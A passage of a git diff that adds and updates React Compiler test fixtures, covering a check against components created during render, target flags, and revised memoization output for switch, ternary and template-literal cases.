+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/static-components/invalid-dynamically-construct-component-in-render.js
@@ -0,0 +1,5 @@
+// @loggerTestOnly @validateStaticComponents @outputMode:"lint"
+function Example(props) {
+  const Component = createComponent();
+  return <Component />;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/static-components/invalid-dynamically-constructed-component-function.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/static-components/invalid-dynamically-constructed-component-function.expect.md
new file mode 100644
index 000000000000..0882c4a10037
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/static-components/invalid-dynamically-constructed-component-function.expect.md
@@ -0,0 +1,36 @@
+
+## Input
+
+```javascript
+// @loggerTestOnly @validateStaticComponents @outputMode:"lint"
+function Example(props) {
+  function Component() {
+    return <div />;
+  }
+  return <Component />;
+}
+
+```
+
+## Code
+
+```javascript
+// @loggerTestOnly @validateStaticComponents @outputMode:"lint"
+function Example(props) {
+  function Component() {
+    return <div />;
+  }
+  return <Component />;
+}
+
+```
+
+## Logs
+
+```
+{"kind":"CompileError","detail":{"options":{"category":"StaticComponents","reason":"Cannot create components during render","description":"Components created during render will reset their state each time they are created. Declare components outside of render","details":[{"kind":"error","loc":{"start":{"line":6,"column":10,"index":149},"end":{"line":6,"column":19,"index":158},"filename":"invalid-dynamically-constructed-component-function.ts"},"message":"This component is created during render"},{"kind":"error","loc":{"start":{"line":3,"column":2,"index":92},"end":{"line":5,"column":3,"index":138},"filename":"invalid-dynamically-constructed-component-function.ts"},"message":"The component is created during render here"}]}},"fnLoc":null}
+{"kind":"CompileSuccess","fnLoc":{"start":{"line":2,"column":0,"index":64},"end":{"line":7,"column":1,"index":164},"filename":"invalid-dynamically-constructed-component-function.ts"},"fnName":"Example","memoSlots":1,"memoBlocks":1,"memoValues":1,"prunedMemoBlocks":0,"prunedMemoValues":0}
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/static-components/invalid-dynamically-constructed-component-function.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/static-components/invalid-dynamically-constructed-component-function.js
new file mode 100644
index 000000000000..123fb043eb19
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/static-components/invalid-dynamically-constructed-component-function.js
@@ -0,0 +1,7 @@
+// @loggerTestOnly @validateStaticComponents @outputMode:"lint"
+function Example(props) {
+  function Component() {
+    return <div />;
+  }
+  return <Component />;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/static-components/invalid-dynamically-constructed-component-method-call.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/static-components/invalid-dynamically-constructed-component-method-call.expect.md
new file mode 100644
index 000000000000..707a0a958502
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/static-components/invalid-dynamically-constructed-component-method-call.expect.md
@@ -0,0 +1,32 @@
+
+## Input
+
+```javascript
+// @loggerTestOnly @validateStaticComponents @outputMode:"lint"
+function Example(props) {
+  const Component = props.foo.bar();
+  return <Component />;
+}
+
+```
+
+## Code
+
+```javascript
+// @loggerTestOnly @validateStaticComponents @outputMode:"lint"
+function Example(props) {
+  const Component = props.foo.bar();
+  return <Component />;
+}
+
+```
+
+## Logs
+
+```
+{"kind":"CompileError","detail":{"options":{"category":"StaticComponents","reason":"Cannot create components during render","description":"Components created during render will reset their state each time they are created. Declare components outside of render","details":[{"kind":"error","loc":{"start":{"line":4,"column":10,"index":137},"end":{"line":4,"column":19,"index":146},"filename":"invalid-dynamically-constructed-component-method-call.ts"},"message":"This component is created during render"},{"kind":"error","loc":{"start":{"line":3,"column":20,"index":110},"end":{"line":3,"column":35,"index":125},"filename":"invalid-dynamically-constructed-component-method-call.ts"},"message":"The component is created during render here"}]}},"fnLoc":null}
+{"kind":"CompileSuccess","fnLoc":{"start":{"line":2,"column":0,"index":64},"end":{"line":5,"column":1,"index":152},"filename":"invalid-dynamically-constructed-component-method-call.ts"},"fnName":"Example","memoSlots":4,"memoBlocks":2,"memoValues":2,"prunedMemoBlocks":0,"prunedMemoValues":0}
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/static-components/invalid-dynamically-constructed-component-method-call.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/static-components/invalid-dynamically-constructed-component-method-call.js
new file mode 100644
index 000000000000..7392c74adccb
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/static-components/invalid-dynamically-constructed-component-method-call.js
@@ -0,0 +1,5 @@
+// @loggerTestOnly @validateStaticComponents @outputMode:"lint"
+function Example(props) {
+  const Component = props.foo.bar();
+  return <Component />;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/static-components/invalid-dynamically-constructed-component-new.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/static-components/invalid-dynamically-constructed-component-new.expect.md
new file mode 100644
index 000000000000..2607ef63d8da
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/static-components/invalid-dynamically-constructed-component-new.expect.md
@@ -0,0 +1,32 @@
+
+## Input
+
+```javascript
+// @loggerTestOnly @validateStaticComponents @outputMode:"lint"
+function Example(props) {
+  const Component = new ComponentFactory();
+  return <Component />;
+}
+
+```
+
+## Code
+
+```javascript
+// @loggerTestOnly @validateStaticComponents @outputMode:"lint"
+function Example(props) {
+  const Component = new ComponentFactory();
+  return <Component />;
+}
+
+```
+
+## Logs
+
+```
+{"kind":"CompileError","detail":{"options":{"category":"StaticComponents","reason":"Cannot create components during render","description":"Components created during render will reset their state each time they are created. Declare components outside of render","details":[{"kind":"error","loc":{"start":{"line":4,"column":10,"index":144},"end":{"line":4,"column":19,"index":153},"filename":"invalid-dynamically-constructed-component-new.ts"},"message":"This component is created during render"},{"kind":"error","loc":{"start":{"line":3,"column":20,"index":110},"end":{"line":3,"column":42,"index":132},"filename":"invalid-dynamically-constructed-component-new.ts"},"message":"The component is created during render here"}]}},"fnLoc":null}
+{"kind":"CompileSuccess","fnLoc":{"start":{"line":2,"column":0,"index":64},"end":{"line":5,"column":1,"index":159},"filename":"invalid-dynamically-constructed-component-new.ts"},"fnName":"Example","memoSlots":1,"memoBlocks":1,"memoValues":1,"prunedMemoBlocks":0,"prunedMemoValues":0}
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/static-components/invalid-dynamically-constructed-component-new.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/static-components/invalid-dynamically-constructed-component-new.js
new file mode 100644
index 000000000000..4b4e3f7f0240
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/static-components/invalid-dynamically-constructed-component-new.js
@@ -0,0 +1,5 @@
+// @loggerTestOnly @validateStaticComponents @outputMode:"lint"
+function Example(props) {
+  const Component = new ComponentFactory();
+  return <Component />;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/switch-non-final-default.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/switch-non-final-default.expect.md
index 915218fcfa46..2822ee39eb63 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/switch-non-final-default.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/switch-non-final-default.expect.md
@@ -33,10 +33,10 @@ function Component(props) {
 ```javascript
 import { c as _c } from "react/compiler-runtime";
 function Component(props) {
-  const $ = _c(7);
-  let y;
+  const $ = _c(8);
   let t0;
-  if ($[0] !== props) {
+  let y;
+  if ($[0] !== props.p0 || $[1] !== props.p2) {
     const x = [];
     bb0: switch (props.p0) {
       case 1: {
@@ -45,11 +45,11 @@ function Component(props) {
       case true: {
         x.push(props.p2);
         let t1;
-        if ($[3] === Symbol.for("react.memo_cache_sentinel")) {
+        if ($[4] === Symbol.for("react.memo_cache_sentinel")) {
           t1 = [];
-          $[3] = t1;
+          $[4] = t1;
         } else {
-          t1 = $[3];
+          t1 = $[4];
         }
         y = t1;
       }
@@ -60,25 +60,25 @@ function Component(props) {
         y = x;
       }
     }
-
     t0 = <Component data={x} />;
-    $[0] = props;
-    $[1] = y;
+    $[0] = props.p0;
+    $[1] = props.p2;
     $[2] = t0;
+    $[3] = y;
   } else {
-    y = $[1];
     t0 = $[2];
+    y = $[3];
   }
   const child = t0;
   y.push(props.p4);
   let t1;
-  if ($[4] !== y || $[5] !== child) {
+  if ($[5] !== child || $[6] !== y) {
     t1 = <Component data={y}>{child}</Component>;
-    $[4] = y;
     $[5] = child;
-    $[6] = t1;
+    $[6] = y;
+    $[7] = t1;
   } else {
-    t1 = $[6];
+    t1 = $[7];
   }
   return t1;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/switch-with-fallthrough.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/switch-with-fallthrough.expect.md
index d1c85da623d8..6fd911c43271 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/switch-with-fallthrough.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/switch-with-fallthrough.expect.md
@@ -32,8 +32,8 @@ function foo(x) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -43,22 +43,17 @@ export const FIXTURE_ENTRYPOINT = {
 ```javascript
 function foo(x) {
   bb0: switch (x) {
-    case 0: {
-    }
-    case 1: {
-    }
+    case 0:
+    case 1:
     case 2: {
       break bb0;
     }
     case 3: {
       break bb0;
     }
-    case 4: {
-    }
-    case 5: {
-    }
-    default: {
-    }
+    case 4:
+    case 5:
+    default:
   }
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/switch-with-fallthrough.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/switch-with-fallthrough.js
index c7288e1e555c..089cb11ced62 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/switch-with-fallthrough.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/switch-with-fallthrough.js
@@ -28,6 +28,6 @@ function foo(x) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/switch-with-only-default.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/switch-with-only-default.expect.md
index fcf446a504aa..bfc3e86db218 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/switch-with-only-default.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/switch-with-only-default.expect.md
@@ -2,9 +2,9 @@
 ## Input
 
 ```javascript
-import { Stringify } from "shared-runtime";
+import {Stringify} from 'shared-runtime';
 
-function Component({ kind, ...props }) {
+function Component({kind, ...props}) {
   switch (kind) {
     default:
       return <Stringify {...props} />;
@@ -13,7 +13,7 @@ function Component({ kind, ...props }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ kind: "foo", a: 1, b: true, c: "sathya" }],
+  params: [{kind: 'foo', a: 1, b: true, c: 'sathya'}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/switch-with-only-default.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/switch-with-only-default.js
index 50f71aec7db6..5a20c7ee8902 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/switch-with-only-default.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/switch-with-only-default.js
@@ -1,6 +1,6 @@
-import { Stringify } from "shared-runtime";
+import {Stringify} from 'shared-runtime';
 
-function Component({ kind, ...props }) {
+function Component({kind, ...props}) {
   switch (kind) {
     default:
       return <Stringify {...props} />;
@@ -9,5 +9,5 @@ function Component({ kind, ...props }) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ kind: "foo", a: 1, b: true, c: "sathya" }],
+  params: [{kind: 'foo', a: 1, b: true, c: 'sathya'}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/switch.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/switch.expect.md
index 0c5aea9c7da9..cf76c252787e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/switch.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/switch.expect.md
@@ -28,10 +28,10 @@ function Component(props) {
 ```javascript
 import { c as _c } from "react/compiler-runtime";
 function Component(props) {
-  const $ = _c(6);
-  let y;
+  const $ = _c(8);
   let t0;
-  if ($[0] !== props) {
+  let y;
+  if ($[0] !== props.p0 || $[1] !== props.p2 || $[2] !== props.p3) {
     const x = [];
     switch (props.p0) {
       case true: {
@@ -42,25 +42,26 @@ function Component(props) {
         y = x;
       }
     }
-
     t0 = <Component data={x} />;
-    $[0] = props;
-    $[1] = y;
-    $[2] = t0;
+    $[0] = props.p0;
+    $[1] = props.p2;
+    $[2] = props.p3;
+    $[3] = t0;
+    $[4] = y;
   } else {
-    y = $[1];
-    t0 = $[2];
+    t0 = $[3];
+    y = $[4];
   }
   const child = t0;
   y.push(props.p4);
   let t1;
-  if ($[3] !== y || $[4] !== child) {
+  if ($[5] !== child || $[6] !== y) {
     t1 = <Component data={y}>{child}</Component>;
-    $[3] = y;
-    $[4] = child;
-    $[5] = t1;
+    $[5] = child;
+    $[6] = y;
+    $[7] = t1;
   } else {
-    t1 = $[5];
+    t1 = $[7];
   }
   return t1;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/tagged-template-in-hook.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/tagged-template-in-hook.expect.md
index a7db7906f200..d52a7713bb87 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/tagged-template-in-hook.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/tagged-template-in-hook.expect.md
@@ -2,8 +2,17 @@
 ## Input
 
 ```javascript
+import {useFragment} from 'shared-runtime';
+
 function Component(props) {
-  const user = useFragment(graphql`fragment on User { name }`, props.user);
+  const user = useFragment(
+    graphql`
+      fragment F on User {
+        name
+      }
+    `,
+    props.user
+  );
   return user.name;
 }
 
@@ -12,8 +21,17 @@ function Component(props) {
 ## Code
 
 ```javascript
+import { useFragment } from "shared-runtime";
+
 function Component(props) {
-  const user = useFragment(graphql`fragment on User { name }`, props.user);
+  const user = useFragment(
+    graphql`
+      fragment F on User {
+        name
+      }
+    `,
+    props.user,
+  );
   return user.name;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/tagged-template-in-hook.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/tagged-template-in-hook.js
index 54e712f8e519..dbcd2b6d2180 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/tagged-template-in-hook.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/tagged-template-in-hook.js
@@ -1,4 +1,13 @@
+import {useFragment} from 'shared-runtime';
+
 function Component(props) {
-  const user = useFragment(graphql`fragment on User { name }`, props.user);
+  const user = useFragment(
+    graphql`
+      fragment F on User {
+        name
+      }
+    `,
+    props.user
+  );
   return user.name;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/tagged-template-literal.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/tagged-template-literal.expect.md
index 11aadbbf1670..422d2458a3b3 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/tagged-template-literal.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/tagged-template-literal.expect.md
@@ -4,16 +4,9 @@
 ```javascript
 function component() {
   let t = graphql`
-    fragment List_viewer on Viewer
-    @argumentDefinitions(
-      count: {
-        type: "Int"
-        defaultValue: 10
-        directives: ["@int_max_value(logged_in: 10)"]
-      }
-      cursor: { type: "ID" }
-    )
-
+    fragment F on T {
+      id
+    }
   `;
 
   return t;
@@ -30,22 +23,16 @@ function component() {
   let t0;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
     t0 = graphql`
-    fragment List_viewer on Viewer
-    @argumentDefinitions(
-      count: {
-        type: "Int"
-        defaultValue: 10
-        directives: ["@int_max_value(logged_in: 10)"]
+      fragment F on T {
+        id
       }
-      cursor: { type: "ID" }
-    )
-
-  `;
+    `;
     $[0] = t0;
   } else {
     t0 = $[0];
   }
   const t = t0;
+
   return t;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/tagged-template-literal.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/tagged-template-literal.js
index bfabc7ddbf03..7126e331f8ab 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/tagged-template-literal.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/tagged-template-literal.js
@@ -1,15 +1,8 @@
 function component() {
   let t = graphql`
-    fragment List_viewer on Viewer
-    @argumentDefinitions(
-      count: {
-        type: "Int"
-        defaultValue: 10
-        directives: ["@int_max_value(logged_in: 10)"]
-      }
-      cursor: { type: "ID" }
-    )
-
+    fragment F on T {
+      id
+    }
   `;
 
   return t;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/target-flag-meta-internal.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/target-flag-meta-internal.expect.md
new file mode 100644
index 000000000000..6c81defa1b40
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/target-flag-meta-internal.expect.md
@@ -0,0 +1,43 @@
+
+## Input
+
+```javascript
+// @target="donotuse_meta_internal"
+
+function Component() {
+  return <div>Hello world</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [],
+  isComponent: true,
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @target="donotuse_meta_internal"
+
+function Component() {
+  const $ = _c(1);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = <div>Hello world</div>;
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  return t0;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [],
+  isComponent: true,
+};
+
+```
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/target-flag-meta-internal.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/target-flag-meta-internal.js
new file mode 100644
index 000000000000..02f71b841c06
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/target-flag-meta-internal.js
@@ -0,0 +1,11 @@
+// @target="donotuse_meta_internal"
+
+function Component() {
+  return <div>Hello world</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [],
+  isComponent: true,
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/target-flag.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/target-flag.expect.md
new file mode 100644
index 000000000000..b27b786d5789
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/target-flag.expect.md
@@ -0,0 +1,45 @@
+
+## Input
+
+```javascript
+// @target="18"
+
+function Component() {
+  return <div>Hello world</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [],
+  isComponent: true,
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @target="18"
+
+function Component() {
+  const $ = _c(1);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = <div>Hello world</div>;
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  return t0;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [],
+  isComponent: true,
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>Hello world</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/target-flag.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/target-flag.js
new file mode 100644
index 000000000000..5319d28f0ad5
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/target-flag.js
@@ -0,0 +1,11 @@
+// @target="18"
+
+function Component() {
+  return <div>Hello world</div>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [],
+  isComponent: true,
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/template-literal.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/template-literal.expect.md
index ffdc91c8c32c..cdc9738d6579 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/template-literal.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/template-literal.expect.md
@@ -20,7 +20,7 @@ function componentB(props) {
 ```javascript
 function componentA(props) {
   let t = `hello ${props.a}, ${props.b}!`;
-  t = t + ``;
+  t = t + "";
   return t;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ternary-assignment-expression.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ternary-assignment-expression.expect.md
index 0b158d84cc9c..358859a43ca0 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ternary-assignment-expression.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ternary-assignment-expression.expect.md
@@ -10,8 +10,8 @@ function ternary(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: ternary,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ternary-assignment-expression.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ternary-assignment-expression.js
index f84e0d1cd91b..3e59315e5eec 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ternary-assignment-expression.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ternary-assignment-expression.js
@@ -6,6 +6,6 @@ function ternary(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: ternary,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ternary-expression.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ternary-expression.expect.md
index bad9295f997f..6e99be2e6f4c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ternary-expression.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ternary-expression.expect.md
@@ -3,15 +3,15 @@
 
 ```javascript
 function ternary(props) {
-  const a = props.a && props.b ? props.c || props.d : props.e ?? props.f;
+  const a = props.a && props.b ? props.c || props.d : (props.e ?? props.f);
   const b = props.a ? (props.b && props.c ? props.d : props.e) : props.f;
   return a ? b : null;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: ternary,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -20,7 +20,7 @@ export const FIXTURE_ENTRYPOINT = {
 
 ```javascript
 function ternary(props) {
-  const a = props.a && props.b ? props.c || props.d : props.e ?? props.f;
+  const a = props.a && props.b ? props.c || props.d : (props.e ?? props.f);
   const b = props.a ? (props.b && props.c ? props.d : props.e) : props.f;
   return a ? b : null;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ternary-expression.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ternary-expression.js
index f4716606f023..2a39d90bbcd6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ternary-expression.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/ternary-expression.js
@@ -1,11 +1,11 @@
 function ternary(props) {
-  const a = props.a && props.b ? props.c || props.d : props.e ?? props.f;
+  const a = props.a && props.b ? props.c || props.d : (props.e ?? props.f);
   const b = props.a ? (props.b && props.c ? props.d : props.e) : props.f;
   return a ? b : null;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: ternary,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo-function-expression-captures-value-later-frozen.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo-function-expression-captures-value-later-frozen.expect.md
index 9f8fed44f0a0..446beadb3ff2 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo-function-expression-captures-value-later-frozen.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo-function-expression-captures-value-later-frozen.expect.md
@@ -6,7 +6,7 @@ function Component(props) {
   let x = {};
   // onChange should be inferred as immutable, because the value
   // it captures (`x`) is frozen by the time the function is referenced
-  const onChange = (e) => {
+  const onChange = e => {
     maybeMutate(x, e.target.value);
   };
   if (props.cond) {
@@ -28,13 +28,11 @@ function Component(props) {
   let t0;
   if ($[0] !== props.cond) {
     const x = {};
-
     const onChange = (e) => {
       maybeMutate(x, e.target.value);
     };
     if (props.cond) {
     }
-
     onChange();
     t0 = <Foo value={x} />;
     $[0] = props.cond;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo-function-expression-captures-value-later-frozen.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo-function-expression-captures-value-later-frozen.js
index a5e39b4254f0..865f3cc44df0 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo-function-expression-captures-value-later-frozen.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo-function-expression-captures-value-later-frozen.js
@@ -2,7 +2,7 @@ function Component(props) {
   let x = {};
   // onChange should be inferred as immutable, because the value
   // it captures (`x`) is frozen by the time the function is referenced
-  const onChange = (e) => {
+  const onChange = e => {
     maybeMutate(x, e.target.value);
   };
   if (props.cond) {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo-global-load-cached.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo-global-load-cached.expect.md
new file mode 100644
index 000000000000..a2a0e3bef9b7
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/todo-global-load-cached.expect.md
@@ -0,0 +1,73 @@
+
+## Input
+
+```javascript
+import {Stringify} from 'shared-runtime';
+import {makeArray} from 'shared-runtime';
+
+/**
+ * Here, we don't need to memoize Stringify as it is a read off of a global.
+ * TODO: in PropagateScopeDeps (hir), we should produce a sidemap of global rvals
+ * and avoid adding them to `temporariesUsedOutsideDefiningScope`.
+ */
+function Component({num}: {num: number}) {
+  const arr = makeArray(num);
+  return <Stringify value={arr.push(num)}></Stringify>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{num: 2}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { Stringify } from "shared-runtime";
+import { makeArray } from "shared-runtime";
+
+/**
+ * Here, we don't need to memoize Stringify as it is a read off of a global.
+ * TODO: in PropagateScopeDeps (hir), we should produce a sidemap of global rvals
+ * and avoid adding them to `temporariesUsedOutsideDefiningScope`.
+ */
+function Component(t0) {
+  const $ = _c(6);
+  const { num } = t0;
+  let T0;
+  let t1;
+  if ($[0] !== num) {
+    const arr = makeArray(num);
+    T0 = Stringify;
+    t1 = arr.push(num);
+    $[0] = num;
+    $[1] = T0;
+    $[2] = t1;
+  } else {
+    T0 = $[1];
